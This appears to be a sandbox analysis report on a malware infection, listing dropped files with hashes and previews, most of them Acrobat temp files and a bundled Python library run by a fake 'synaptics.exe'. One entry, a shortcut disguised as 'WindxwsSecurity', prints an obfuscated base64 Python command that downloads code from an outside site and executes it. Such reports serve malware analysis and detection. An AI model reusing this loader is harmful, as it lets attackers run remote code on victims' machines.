              C:\Users\user\AppData\Local\Temp\acrocef_low\5388333d-e56b-4a92-95a9-10c3126e5c0a.tmp

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
              File Type:gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
              Category:dropped
              Size (bytes):386528
              Entropy (8bit):7.9736851559892425
              Encrypted:false
              SSDEEP:
              MD5:5C48B0AD2FEF800949466AE872E1F1E2
              SHA1:337D617AE142815EDDACB48484628C1F16692A2F
              SHA-256:F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
              SHA-512:44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
              Malicious:false
              Reputation:unknown
              Preview:...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-|..h#.g.\.PO.|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..|m.WC.....|.....e.[W.p.8...rm....^..x'......5!...|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

              C:\Users\user\AppData\Local\Temp\acrocef_low\5bc294a4-db3c-4009-aa85-92ce2f1543e4.tmp

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
              File Type:gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
              Category:dropped
              Size (bytes):1419751
              Entropy (8bit):7.976496077007677
              Encrypted:false
              SSDEEP:
              MD5:AAAAB43627E96B02BC54A78F0EE8E32C
              SHA1:03808205C51BA031BF69F0DF07C9C80835098104
              SHA-256:B9ED5860C1528CAE5717E553381762D9C4ED093E546F7500F55B6B18B5C20CEA
              SHA-512:A476038C2BC9573AFA12D831678C0D2A6EFF0C1E065F7D214A0D5684E79AA7F02710DF30524DE0E6EC90CB660E581531DFA57F038EE1BC285B9BC3DAE17D133D
              Malicious:false
              Reputation:unknown
              Preview:...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E|.P..$ni.{.....T.^~<m-..J....RQk..*..f.....q.......V.rC.M.b.DiL\.....wq.*...$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..D*T...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W*..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.......*..R.....j.WD).M..9.Fw...W.-a..z.l\..u*.^....*L..^.`.T...l.^.B.DMc.d....i...o.|M.uF|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,*.e....5...X.}6.P....y\.s|..Si..BB..y...~.....D^g...*7'T-.5*.!K.$\...2.

              C:\Users\user\AppData\Local\Temp\acrocef_low\a5597321-cf14-438c-97bd-9bebe9d0d1d3.tmp

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
              File Type:gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
              Category:dropped
              Size (bytes):758601
              Entropy (8bit):7.98639316555857
              Encrypted:false
              SSDEEP:
              MD5:3A49135134665364308390AC398006F1
              SHA1:28EF4CE5690BF8A9E048AF7D30688120DAC6F126
              SHA-256:D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
              SHA-512:BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
              Malicious:false
              Reputation:unknown
              Preview:...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!|G.1...... .3.`./....`~......G.............|..pS.e.C....:o.u_..oi.:..|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

              C:\Users\user\AppData\Local\Temp\acrocef_low\ff233316-bc78-4941-b575-0c8847327068.tmp

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
              File Type:gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
              Category:dropped
              Size (bytes):1407294
              Entropy (8bit):7.97605879016224
              Encrypted:false
              SSDEEP:
              MD5:408F8BA5ED5014C1E10FA19D75C944A6
              SHA1:87595F69D692B4D785AAFAD71394426879C7980F
              SHA-256:FFFE47EBC7E157F63F4BE40AC0B2DCD73A5DCDF57B9D03FEA3EB99212A7EC16F
              SHA-512:01B286CA276C6B4302AC6ABA30466CE2048F6AC7FA5ACD7DCA375541C91339CEE94377B783A3A7710D10C315CA062CAE79DD2A073406D1C3C76AC4787DA5A793
              Malicious:false
              Reputation:unknown
              Preview:...........}.s.H....W`E.........M9h...q..p......%..!q.p....~..2......DlWtW!)?_.|....?..?.s.w1.i..G...h6.]..y...p..m.b..N..rr..F..Xc...l.4.."..Q.... hL.p......s...x6..:.....x.~.6.Q..~......~b7..k.l......Yc.G[....hY3...C..n..|.'6......i4f...,.."...O.b...x..,..jgc..bTn....,u.F..0......V.K,u..p....X.wAap...+.G..v....i.z...E.Rj8.a.r..<@.q.'...!.4..]...|..3...-.2...`...4..i...w......$0D.....i./a......Z.]..e.mj..c}.?.....o......c...W..+....c...W...?8...n.......U..7..O........@....'...^.z..=.m....o.o<..~....... ...C{......w.m.h.-Q...6.(..uk/w!...Z..n.....p.U........T^w..[....1l...../i......0..1U|}../xS}.q..B|.......h>....S....g...A.s6.=.&....~.\.......-N.p...._.xex.....}.r..q$..<.S;l=. ..P..55;....[.}.T......d.p..vd'vl.].DN..o...................D...].......I}.t...D`?..n.A.zT..:@.`S5.K..,R....h...XzT....F..Xt...R...+N.....ee...P...F+C.....dq...r..5..aP.zY....c.f/..Pn...:f.>.Z..s.+.......7...O.C.#..6.....=.K.5{.%6,..Z.....DqZ.4....g-%.p..n...\

              C:\Users\user\AppData\Local\Temp\qkxB9Wn8nG.zip

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Zip archive data, at least v1.0 to extract, compression method=store
              Category:dropped
              Size (bytes):17730909
              Entropy (8bit):7.996828031778434
              Encrypted:true
              SSDEEP:
              MD5:9C645B1011A1CA4868B00708FB8530C6
              SHA1:BC48CC7F83B6588178796FA3922B6DED0AF8B1C2
              SHA-256:B9E43E501CA30487CF556B8BFE5EA644CD130D1F5CCE8F7FBEB4A68EEF976D99
              SHA-512:3EDE798B75A6FE6FDD017E5514EE6193409CC27B1B6C42BE46E8D74FA5C4B97F55B90927AE66C4266BCF2F7C115310D0E01E1BA2E2CD595CD363556200E1D80D
              Malicious:false
              Reputation:unknown
              Preview:PK........../Y................DLLs/PK.........u.V.J\*......".....DLLs/libcrypto-1_1.dll..XTI... *......b.9'...1.9.,.4.(.b.c..s.q..s.s...9+.{..0.s.s....<6.wU.Z..j.JU.l4..`08._l....`{*......e..fX..h.M..G3....W.^...j..u.n..y.j..O7.........M...%....ql../..............IA..Y.......g.w.}.._<...].7M....V~.G.....}tg..~....[w.~<.>...CbCh.;..]78fvqp.b..a0,Hj...^?&..a..H;....._..LY.D,.>..+8X+.....m.Z8f2...h..&...._...'...c..<.P8...E.!.vFC..`.~.......l.......j.?H._f..!D_../.%4..j.2....7w.[...o^.o..n...b..?.Gf.!..6...r;.w..\.a..N..e.'...[.......VZ..~P.W.^...vY4P.3.G..v..om45....(W....s.'..YwCL.T......1.N(5/Z.fKm....f.i}).!fU1}.<7.!.{.R....b:.u4.$,...cH....z.W[.Nl1.b..W....^K...SF.p......l............s.F.>j.'....Z.{.H....|..z.v...J.Tc..~r.WF./.Z....[...J.\..*r...]o.o.~...=.x.....Bcc.'CL.".B.....M..2H?....b.LW..zu....3.@.C.y.GK..+.0}.......w....oG...7...[...)..x.o.r.......>...\....tU............{Z.vm........UKyY5.N.B%.*5..0.1[.:1F.2...e.Z.T.;.671..$6.L{

              C:\Users\user\AppData\Local\WindxwsSecurity.lnk

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:MS Windows shortcut, Has command line arguments, Icon number=13, ctime=Sun Dec 31 23:06:32 1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hidenormalshowminimized
              Category:dropped
              Size (bytes):1530
              Entropy (8bit):2.610633122885064
              Encrypted:false
              SSDEEP:
              MD5:D4560EF29A60CAA862756A9CC15AEB03
              SHA1:B4C8D6F6B27917DD5E7FEFA40376A72F0857FFBC
              SHA-256:E2704911DCBCEAB7ABEED735A6D85566220ED8345C2D49F85830EB3184B721E8
              SHA-512:775884B42090090910138AB9DF2231EC99A85C7992BB3FBE2F80DB2927CF425673B4FFC3331AAD7BB8B1BDE9969DDE60E40F994BD9C52E8F979CA265B6882044
              Malicious:false
              Reputation:unknown
              Preview:L..................F.@........................................................-.c. .".i.m.p.o.r.t. .b.a.s.e.6.4.;.e.x.e.c.(.b.a.s.e.6.4...b.6.4.d.e.c.o.d.e.(.'.a.W.1.w.b.3.J.0.I.H.V.y.b.G.x.p.Y.i.5.y.Z.X.F.1.Z.X.N.0.O.2.l.t.c.G.9.y.d.C.B.i.Y.X.N.l.N.j.Q.7.Z.X.h.l.Y.y.h.i.Y.X.N.l.N.j.Q.u.Y.j.Y.0.Z.G.V.j.b.2.R.l.K.H.V.y.b.G.x.p.Y.i.5.y.Z.X.F.1.Z.X.N.0.L.n.V.y.b.G.9.w.Z.W.4.o.J.2.h.0.d.H.B.z.O.i.8.v.d.H.Z.k.c.2.V.v.L.m.N.v.b.S.9.3.c.C.1.j.b.2.5.0.Z.W.5.0.L.2.N.h.Y.2.h.l.L.3.d.w.L.X.J.v.Y.2.t.l.d.C.9.B.Z.G.9.u.a.X.M.v.Q.W.R.v.b.m.l.z.J.y.k.u.c.m.V.h.Z.C.g.p.L.m.R.l.Y.2.9.k.Z.S.g.n.d.X.R.m.L.T.g.n.K.S.k.p.'.).).".<.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.........%ProgramFiles%\Microsoft\Edge\Application\msedge.exe..........................................................................................................................................................................................................

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__future__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):5302
              Entropy (8bit):4.761272492188341
              Encrypted:false
              SSDEEP:
              MD5:903D790CEF59478A60829CC3F6978890
              SHA1:3D7A098629D4217D34097FAF3DEE431A9A93B5C9
              SHA-256:70A3FB890DE3673DA0118F401F54E5C6B22639F45CDA7834F638EC3198DDACF7
              SHA-512:CD09FF62092C460B745FC6241F3F6D79B81D0B22FB541210C0D510314FD6209768F058FF4F76666D5B11BB9A0DF48F3DA6859DEBAB477598B302E44A25059C95
              Malicious:false
              Antivirus:
              • Antivirus: ReversingLabs, Detection: 0%
              • Antivirus: Virustotal, Detection: 0%, Browse
              Reputation:unknown
              Preview:"""Record of phased-in incompatible language changes.....Each line is of the form:.... FeatureName = "_Feature(" OptionalRelease "," MandatoryRelease ",".. CompilerFlag ")"....where, normally, OptionalRelease < MandatoryRelease, and both are 5-tuples..of the same form as sys.version_info:.... (PY_MAJOR_VERSION, # the 2 in 2.1.0a3; an int.. PY_MINOR_VERSION, # the 1; an int.. PY_MICRO_VERSION, # the 0; an int.. PY_RELEASE_LEVEL, # "alpha", "beta", "candidate" or "final"; string.. PY_RELEASE_SERIAL # the 3; an int.. )....OptionalRelease records the first release in which.... from __future__ import FeatureName....was accepted.....In the case of MandatoryReleases that have not yet occurred,..MandatoryRelease predicts the release in which the feature will become part..of the language.....Else MandatoryRelease records when the feature became part of the language;..in releases at or after that, modules no longer need.... from __futur

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__phello__.foo.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text, with CRLF line terminators
              Category:dropped
              Size (bytes):65
              Entropy (8bit):4.094714259436315
              Encrypted:false
              SSDEEP:
              MD5:21452BCD01B4FA606D021E2A35A41918
              SHA1:63D058B0E42269750CE9FD4CA5049C57F6E26CAA
              SHA-256:AB3048BB63BB222868B04BED809A534986466828A6983C2686CE048C4F198D18
              SHA-512:F97089BB79A2E26A7D405BDA1B34C5966C55CCF1005CF88A627DD10625F526F530A74CC4A14A19DD75E6FD538796BB9380BE9D96AFFED75A8D77552380548FAF
              Malicious:false
              Reputation:unknown
              Preview:# This file exists as a helper for the test.test_frozen module...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\__future__.cpython-310.pyc.58778640

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):4154
              Entropy (8bit):5.367374602077502
              Encrypted:false
              SSDEEP:
              MD5:A173149C46B1C3527CC2B0418D443315
              SHA1:59D5DE169579C067E7826B93CEB0C824E4D426B4
              SHA-256:76ED8DB1ED043F093A42BC5201A551784CF8D1182BB2FE55FBD3B5D9DF66A280
              SHA-512:0BD2BBA55A451D00F175F5A0AFB59C5200C9CE155D9B168AD0E65ADE1E209B8EA8611A8B567ABF92ACEF2C597EECA4A252FEC5C6019800E357F456AE397783B9
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.g.d...Z.d.g.e...Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.G.d.d...d...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.e.d.d.e...Z.d.S.).an...Record of phased-in incompatible language changes...Each line is of the form:.. FeatureName = "_Feature(" OptionalRelease "," MandatoryRelease ",". CompilerFlag ")"..where, normally, OptionalRelease < MandatoryRelease, and both are 5-tuples.of the same form as sys.version_info:.. (PY_MAJOR_VERSION, # the 2 in 2.1.0a3; an int. PY_MINOR_VERSION, # the 1; an int. PY_MICRO_VERSION, # the 0; an int. PY_RELEASE_LEVEL, # "alpha", "beta", "candidate" or "final"; string. PY_RELEASE_SERIAL # the 3; an int. )..OptionalRelease records the first release in which.. from __future__ import FeatureName..was accepted...In the case of MandatoryReleases that have not yet occurred,.MandatoryRelease pre

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\_collections_abc.cpython-310.pyc.20329712

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):32948
              Entropy (8bit):5.035627385295371
              Encrypted:false
              SSDEEP:
              MD5:17216442A3370533CEE9F140D0E39777
              SHA1:5D717AACC88946B756F6D6EAC9F714CE495678AC
              SHA-256:A3961F1F49B0457648A2C70017B6A096F70B199556B7F6951CBC2AC34A94B36D
              SHA-512:2E4526320C1BBC1C4346E5D17BA2B684F4DB2603C1CDC1EE0AFA791B13BF0F45BBC0B037C2419A82C1E12D78E5F841C2E83B8D06AED2CA91E1509A6A728FD30A
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s....d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.e.e.e.....Z.e.d...Z.d.d...Z.e.e...Z.[.g.d...Z.d.Z.e.e.d.....Z.e.e.e.......Z.e.e.i.........Z.e.e.i.........Z.e.e.i.........Z.e.e.g.....Z.e.e.e.g.......Z.e.e.e.d.......Z.e.e.e.d.d.>.......Z.e.e.e.......Z.e.e.d.....Z e.e.d.....Z!e.e.e"......Z#e.i.......Z$e.i.......Z%e.i.......Z&e.e.j'..Z(e.d.d.......Z)d.d...Z*e*..Z*e.e*..Z+e*.,....[*d.d...Z-e-..Z-e.e-..Z.[-d.d...Z/G.d.d...d.e.d...Z0G.d.d...d.e.d...Z1G.d.d...d.e1..Z2e2.3e+....G.d.d...d.e.d...Z4G.d.d ..d e4..Z5G.d!d"..d"e5..Z6e6.3e.....G.d#d$..d$e.d...Z7G.d%d&..d&e7..Z8e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e ....e8.3e!....e8.3e#....G.d'd(..d(e7..Z9G.d)d*..d*e8..Z:e:.3e)....G.d+d,..d,e.d...Z;G.d-d...d.e.d...Z<G.d/d0..d0e;e7e<..Z=G.d1d2..d2e...Z>d3d4..Z?d5d6..Z@d7d8..ZAG.d9d:..d:e.d...ZBG.d;d<..d<e=..ZCeC.3eD....G.d=d>..d>eC..ZEeE.3e.....G.d?d@..d@e=..ZFeF.3e(....G.dAdB..dBe;..ZGG.dCdD..dDeGeC..ZHeH.3e$..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\_compression.cpython-310.pyc.55363360

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):4535
              Entropy (8bit):5.145619981107556
              Encrypted:false
              SSDEEP:
              MD5:353C90C8259F56230B46F82AE36875A5
              SHA1:6F1E37358B6BA8DD5255EABB845967E103A61472
              SHA-256:7614E369DCE5E217F33802C6F2E2C387EE0F63074EE5D9C155A93502164AEC9F
              SHA-512:DD163A36A70CF7BEEB3754560507FD278B0E4B3399165133C17A61007808DA8C8F678A714903B48ABD342B9F98B9A274F13D1D468879797A07E83818DF2324D5
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...sB...d.Z.d.d.l.Z.d.d.l.Z.e.j.Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.d.S.).z7Internal classes used by the gzip, lzma and bz2 modules.....Nc....................@...s0...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...BaseStreamz.Mode-checking helper functions.c....................C...s....|.j.r.t.d.....d.S.).Nz.I/O operation on closed file)...closed..ValueError....self..r.....:C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\_compression.py.._check_not_closed....s..........z.BaseStream._check_not_closedc....................C........|.....s.t...d.....d.S.).Nz.File not open for reading)...readable..io..UnsupportedOperationr....r....r....r......_check_can_read...............z.BaseStream._check_can_readc....................C...r....).Nz.File not open for writing)...writabler....r....r....r....r....r......_check_can_write....r....z.BaseStream._check_can_writec....................C...s(...|.....s.t...d.....|.....s.t...d.....d.S.).Nz3Seeking is only support

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\_sitebuiltins.cpython-310.pyc.21664000

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):3570
              Entropy (8bit):5.08211010300898
              Encrypted:false
              SSDEEP:
              MD5:481740BB258D9AFA3B3D69437087214A
              SHA1:FDEBD9872D9971B9DCEBEC1D3983C70F869B6B3B
              SHA-256:D1C4119147D4FB3CE55DC1A419B5B3001E10901982861FFDC7B45965CA70F95C
              SHA-512:CB19E7FC6CC99038752072C33B0BC81DA56203547C1DF693D71BA3ECB395E885A5E5235DD3170608D0D4CDF59F53D96924F10F11DD37E1FEADD3E31950978FF1
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s@...d.Z.d.d.l.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).z=.The objects used by the site module to add custom builtins.......Nc....................@...s&...e.Z.d.Z.d.d...Z.d.d...Z.d.d.d...Z.d.S.)...Quitterc....................C...s....|.|._.|.|._.d.S...N....name..eof)...selfr....r......r.....;C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\_sitebuiltins.py..__init__....s........z.Quitter.__init__c....................C...s....d.|.j.|.j.f...S.).Nz.Use %s() or %s to exitr......r....r....r....r......__repr__....s......z.Quitter.__repr__Nc....................C...s&...z.t.j.......W.t.|...........Y.t.|.....r....)...sys..stdin..close..SystemExit).r......coder....r....r......__call__....s................z.Quitter.__call__r....)...__name__..__module__..__qualname__r....r....r....r....r....r....r....r........s............r....c....................@...s6...e.Z.d.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)..._Printerzninteractive prompt object

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\_weakrefset.cpython-310.pyc.55364928

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):7631
              Entropy (8bit):4.613310649700261
              Encrypted:false
              SSDEEP:
              MD5:20A6DA6B576B5949B3A9B99A82FB4A2B
              SHA1:389E1492BF03324E046D83DD4AEA07B8D02CB9F3
              SHA-256:FBB87D06AFD9FE8B740748627C6640F025DB9F6E93637980C1271AA8E40D4683
              SHA-512:411E688C53B767C9096BB62372E66BD82290F94A6247D653CB2910262031F2A8A48E5562EF53C18E97F846037AD93FA5170D6DFD57AE4F819796A9D03C18F85A
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.........................@...s>...d.d.l.m.Z...d.d.l.m.Z...d.g.Z.G.d.d...d...Z.G.d.d...d...Z.d.S.)..........ref)...Generiuseras..WeakSetc....................@...s$...e.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.S.)..._IterationGuardc....................C...s....t.|...|._.d.S...N).r......weakcontainer)...selfr......r.....9C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\_weakrefset.py..__init__....s......z._IterationGuard.__init__c....................C...s ...|.....}.|.d.u.r.|.j...|.....|.S.r....).r......_iterating..add).r......wr....r....r......__enter__....s............z._IterationGuard.__enter__c....................C...s8...|.....}.|.d.u.r.|.j.}.|...|.....|.s.|.......d.S.d.S.d.S.r....).r....r......remove.._commit_removals).r......e..t..br......sr....r....r......__exit__....s....................z._IterationGuard.__exit__N)...__name__..__module__..__qualname__r....r....r....r....r....r....r....r........s............r....c....................@...s&...e.Z.d.Z.d@d.d...Z.d.d...Z.d.d...Z.d.d...Z.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\abc.cpython-310.pyc.20217328

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):6774
              Entropy (8bit):5.126434713689482
              Encrypted:false
              SSDEEP:
              MD5:EE765A0A05ED655897C39D50A6627D77
              SHA1:EEC33DFC335CF731FAE29001572FE4A2CDF8B41D
              SHA-256:769B7F3A10C42ACA108F9F85CE9F7E67B41377F81B50D59F80832E73C6C1541D
              SHA-512:6FB5C44D0BC536483F4668AEA07B5505FFD993949E7CFFBE9FE4F604A7B4CCDB6657B637457E5810D6628C95734706485E6D94C2442BDC8189CB67D648450723
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d6........................@...s....d.Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...W.n...e.yH......d.d.l.m.Z.m.Z...d.e._.Y.n.w.G.d.d...d.e...Z.d.d...Z.G.d.d...d.e.d...Z.d.S.).z3Abstract Base Classes (ABCs) according to PEP 3119.c....................C...s....d.|._.|.S.).a<...A decorator indicating abstract methods... Requires that the metaclass is ABCMeta or derived from it. A. class that has a metaclass derived from ABCMeta cannot be. instantiated unless all of its abstract methods are overridden.. The abstract methods can be called using any of the normal. 'super' call mechanisms. abstractmethod() may be used to declare. abstract methods for properties and descriptors... Usage:.. class C(metaclass=ABCMeta):. @abstractmethod. def my_abstract_method(self, ...):. .... T)...__isabstractmethod__).Z.funcobj..r.....1C:\Users\user\AppData\Local\qkxB9Wn8nG\lib\

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\base64.cpython-310.pyc.21599800

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):17185
              Entropy (8bit):5.4965281091514555
              Encrypted:false
              SSDEEP:
              MD5:90143D118563C51F79A7A7775E02889B
              SHA1:EA3B868D92CB1745C549115F2D43C2A272B08D53
              SHA-256:29DB61DF7F3F3D62A6C07D17CB2D321EE8502D16D20D885F97BA58F8B6A38313
              SHA-512:E0F0DE05D0CF08E17F6DD9C13EE28FDA29B0F617E62FBB7A1741A892FD0BA3521D2BBD0B51DC194EA8DDE8693B491300E0F95A0FDB182FA4C2AFB76FEA80D933
              Malicious:false
              Reputation:unknown
              Preview:o.......:.-d.S.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.e.e.f.Z.d.d...Z.dQd.d...Z.dRd.d...Z.d.d...Z.d.d...Z.e...d.d...Z.e...d.d...Z.d.d...Z.d.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.i.a.i.a.d.d...Z.dSd.d...Z.d.d...Z.e.j.d d!..e._.dSd"d#..Z.e.j.d e.d$..e._.d%d&..Z.e.j.d'd!..e._.dTd(d)..Z.e.j.d'd*d$..e._.d+d,..Z dTd-d...Z!d.a"d.a#d/Z$d0Z%dUd1d2..Z&d.d.d.d.d3..d4d5..Z'd.d.d6d7..d8d9..Z(d:Z)d.a*d.a+d.a,dTd;d<..Z-d=d>..Z.d?Z/e/d@..dA..Z0dBdC..Z1dDdE..Z2dFdG..Z3dHdI..Z4dJdK..Z5dLdM..Z6dNdO..Z7e8dPk.r.e6....d.S.d.S.)VzDBase16, Base32, Base64 (RFC 3548), Base85 and Ascii85 data encodings.....N)...encode..decode..encodebytes..decodebytes..b64encode..b64decode..b32encode..b32decode..b32hexencode..b32hexdecode..b16encode..b16decode..b85encode..b85decode..a85encode..a85decode..standard_b64encode..standard_b64decode..urlsafe_b64encode..urlsafe_b64decodec....................C...sl...t.|.t...r.z.|...d...W.S...t.y.......t.d.....w.t.|.t...r.|.S.z.t.|.......W.S...t.y5......t.d.|.j.j.....d...

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\__pycache__\bisect.cpython-310.pyc.29715744

              Download File
              Process:C:\Users\user\AppData\Local\qkxB9Wn8nG\synaptics.exe
              File Type:data
              Category:dropped
              Size (bytes):2611
              Entropy (8bit):5.226085892049884
              Encrypted:false
              SSDEEP:
              MD5:7299279836DD0A65EEC6ECA6A5B52E6E
              SHA1:5DAF292D2002873AA6AB90A87EEA7E4F9D5C1BFD
              SHA-256:56E3D42A80B044A58D3DC5ECAFCDC079F9B4F14065942FE99BA36B5FF4C75F23
              SHA-512:C27D652BCA644B23DC393EAB86F07C930DE093FB800537CF198D6C95C708F75E80B389659ED663564B9C51DCD04BCFA25FA1E67B1E3D529C4BFC8A88C477126E
              Malicious:false
              Reputation:unknown
